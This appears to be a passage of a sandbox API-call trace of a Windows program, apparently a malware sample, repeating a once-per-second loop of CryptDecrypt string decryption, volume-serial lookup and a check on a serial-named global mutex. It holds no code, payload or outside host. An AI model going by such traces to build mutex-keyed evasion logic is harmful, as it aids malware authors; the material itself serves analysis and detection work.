	[0213.828] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9ec | out: pbData=0x681228, pdwDataLen=0xfcf9ec) returned 1
	[0213.828] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6813b8
	[0213.828] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x224
	[0213.828] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102
	[0213.828] CloseHandle (hObject=0x224) returned 1
	[0213.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813b8 | out: hHeap=0x680000) returned 1
	[0213.828] Sleep (dwMilliseconds=0x3e8) 
	[0214.888] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0214.888] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x138fe0) returned 1
	[0214.888] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0214.888] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9b8 | out: pbData=0x681228, pdwDataLen=0xfcf9b8) returned 1
	[0214.888] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0214.888] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0214.888] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681468
	[0214.888] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681490
	[0214.888] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1391e0) returned 1
	[0214.888] CryptSetKeyParam (hKey=0x1391e0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0214.888] CryptDecrypt (in: hKey=0x1391e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681490, pdwDataLen=0xfcf990 | out: pbData=0x681490, pdwDataLen=0xfcf990) returned 1
	[0214.888] CryptDestroyKey (hKey=0x1391e0) returned 1
	[0214.888] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681490 | out: hHeap=0x680000) returned 1
	[0214.888] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x681250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0214.888] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0214.888] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0214.888] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0214.888] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0214.889] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x681228
	[0214.889] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x138fe0) returned 1
	[0214.889] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0214.889] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9ec | out: pbData=0x681228, pdwDataLen=0xfcf9ec) returned 1
	[0214.889] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0214.889] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681468
	[0214.889] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264
	[0214.889] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102
	[0214.889] CloseHandle (hObject=0x264) returned 1
	[0214.889] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0214.889] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0214.889] Sleep (dwMilliseconds=0x3e8) 
	[0215.916] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0215.916] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1391a0) returned 1
	[0215.916] CryptSetKeyParam (hKey=0x1391a0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0215.916] CryptDecrypt (in: hKey=0x1391a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9b8 | out: pbData=0x681228, pdwDataLen=0xfcf9b8) returned 1
	[0215.916] CryptDestroyKey (hKey=0x1391a0) returned 1
	[0215.916] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0215.916] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681468
	[0215.916] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681490
	[0215.916] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1393a0) returned 1
	[0215.917] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0215.917] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681490, pdwDataLen=0xfcf990 | out: pbData=0x681490, pdwDataLen=0xfcf990) returned 1
	[0215.917] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0215.917] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681490 | out: hHeap=0x680000) returned 1
	[0215.917] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x681250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0215.917] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0215.917] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0215.917] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0215.917] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0215.917] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x681228
	[0215.917] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x138fe0) returned 1
	[0215.917] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0215.917] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9ec | out: pbData=0x681228, pdwDataLen=0xfcf9ec) returned 1
	[0215.917] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0215.917] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681468
	[0215.917] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264
	[0215.917] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102
	[0215.917] CloseHandle (hObject=0x264) returned 1
	[0215.917] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0215.917] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0215.917] Sleep (dwMilliseconds=0x3e8) 
	[0217.022] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0217.022] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1390a0) returned 1
	[0217.022] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0217.022] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9b8 | out: pbData=0x681228, pdwDataLen=0xfcf9b8) returned 1
	[0217.022] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0217.022] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0217.022] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681468
	[0217.022] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681490
	[0217.022] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x138fe0) returned 1
	[0217.022] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0217.022] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681490, pdwDataLen=0xfcf990 | out: pbData=0x681490, pdwDataLen=0xfcf990) returned 1
	[0217.022] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0217.022] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681490 | out: hHeap=0x680000) returned 1
	[0217.022] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x681250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0217.022] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0217.022] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0217.022] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0217.023] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0217.023] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x681228
	[0217.023] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1393a0) returned 1
	[0217.023] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0217.023] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9ec | out: pbData=0x681228, pdwDataLen=0xfcf9ec) returned 1
	[0217.023] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0217.023] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681468
	[0217.023] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264
	[0217.023] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102
	[0217.023] CloseHandle (hObject=0x264) returned 1
	[0217.023] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0217.023] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0217.023] Sleep (dwMilliseconds=0x3e8) 
	[0218.121] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0218.121] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1392a0) returned 1
	[0218.121] CryptSetKeyParam (hKey=0x1392a0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0218.121] CryptDecrypt (in: hKey=0x1392a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9b8 | out: pbData=0x681228, pdwDataLen=0xfcf9b8) returned 1
	[0218.121] CryptDestroyKey (hKey=0x1392a0) returned 1
	[0218.121] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0218.121] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681468
	[0218.121] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681490
	[0218.121] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1391a0) returned 1
	[0218.121] CryptSetKeyParam (hKey=0x1391a0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0218.121] CryptDecrypt (in: hKey=0x1391a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681490, pdwDataLen=0xfcf990 | out: pbData=0x681490, pdwDataLen=0xfcf990) returned 1
	[0218.121] CryptDestroyKey (hKey=0x1391a0) returned 1
	[0218.121] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681490 | out: hHeap=0x680000) returned 1
	[0218.121] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x681250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0218.121] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0218.121] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0218.121] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0218.122] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0218.122] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x681228
	[0218.122] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x138fe0) returned 1
	[0218.122] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0218.122] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9ec | out: pbData=0x681228, pdwDataLen=0xfcf9ec) returned 1
	[0218.122] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.122] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681468
	[0218.122] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x264
	[0218.122] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102
	[0218.122] CloseHandle (hObject=0x264) returned 1
	[0218.122] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0218.122] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0218.122] Sleep (dwMilliseconds=0x3e8) 
	[0219.195] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681518
	[0219.195] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1393a0) returned 1
	[0219.195] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0219.195] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681518, pdwDataLen=0xfcf9b8 | out: pbData=0x681518, pdwDataLen=0xfcf9b8) returned 1
	[0219.195] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0219.195] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688f78
	[0219.195] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fa0
	[0219.195] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x688fc8
	[0219.195] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x139560) returned 1
	[0219.195] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0219.195] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688fc8, pdwDataLen=0xfcf990 | out: pbData=0x688fc8, pdwDataLen=0xfcf990) returned 1
	[0219.195] CryptDestroyKey (hKey=0x139560) returned 1
	[0219.195] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0219.195] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688f78, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0219.195] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fa0 | out: hHeap=0x680000) returned 1
	[0219.195] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681518 | out: hHeap=0x680000) returned 1
	[0219.195] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0219.195] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688f78 | out: hHeap=0x680000) returned 1
	[0219.195] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x688f78
	[0219.195] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x139560) returned 1
	[0219.196] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0219.196] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688f78, pdwDataLen=0xfcf9ec | out: pbData=0x688f78, pdwDataLen=0xfcf9ec) returned 1
	[0219.196] CryptDestroyKey (hKey=0x139560) returned 1
	[0219.196] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x688fc0
	[0219.196] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2b4
	[0219.196] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x0) returned 0x102
	[0219.196] CloseHandle (hObject=0x2b4) returned 1
	[0219.196] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688f78 | out: hHeap=0x680000) returned 1
	[0219.196] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc0 | out: hHeap=0x680000) returned 1
	[0219.196] Sleep (dwMilliseconds=0x3e8) 
	[0220.788] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681518
	[0220.968] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151380) returned 1
	[0220.968] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0220.968] CryptDecrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681518, pdwDataLen=0xfcf9b8 | out: pbData=0x681518, pdwDataLen=0xfcf9b8) returned 1
	[0220.968] CryptDestroyKey (hKey=0x151380) returned 1
	[0220.968] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6890e0
	[0220.968] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689108
	[0220.969] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0220.969] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151240) returned 1
	[0220.969] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0220.969] CryptDecrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0220.969] CryptDestroyKey (hKey=0x151240) returned 1
	[0220.969] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0220.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6890e0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0220.969] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689108 | out: hHeap=0x680000) returned 1
	[0220.969] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681518 | out: hHeap=0x680000) returned 1
	[0220.969] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0220.969] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890e0 | out: hHeap=0x680000) returned 1
	[0220.969] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0220.969] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1517c0) returned 1
	[0220.969] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0220.969] CryptDecrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0220.969] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0220.969] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0220.969] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2d8
	[0220.969] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102
	[0220.970] CloseHandle (hObject=0x2d8) returned 1
	[0220.970] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0220.970] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0220.970] Sleep (dwMilliseconds=0x3e8) 
	[0222.264] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6890b8
	[0222.264] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1511c0) returned 1
	[0222.264] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0222.264] CryptDecrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6890b8, pdwDataLen=0xfcf9b8 | out: pbData=0x6890b8, pdwDataLen=0xfcf9b8) returned 1
	[0222.265] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0222.265] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6890e0
	[0222.265] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6892e8
	[0222.265] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0222.265] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151740) returned 1
	[0222.265] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0222.265] CryptDecrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0222.265] CryptDestroyKey (hKey=0x151740) returned 1
	[0222.265] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0222.265] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6890e0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0222.265] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0222.265] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890b8 | out: hHeap=0x680000) returned 1
	[0222.265] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0222.265] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890e0 | out: hHeap=0x680000) returned 1
	[0222.265] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
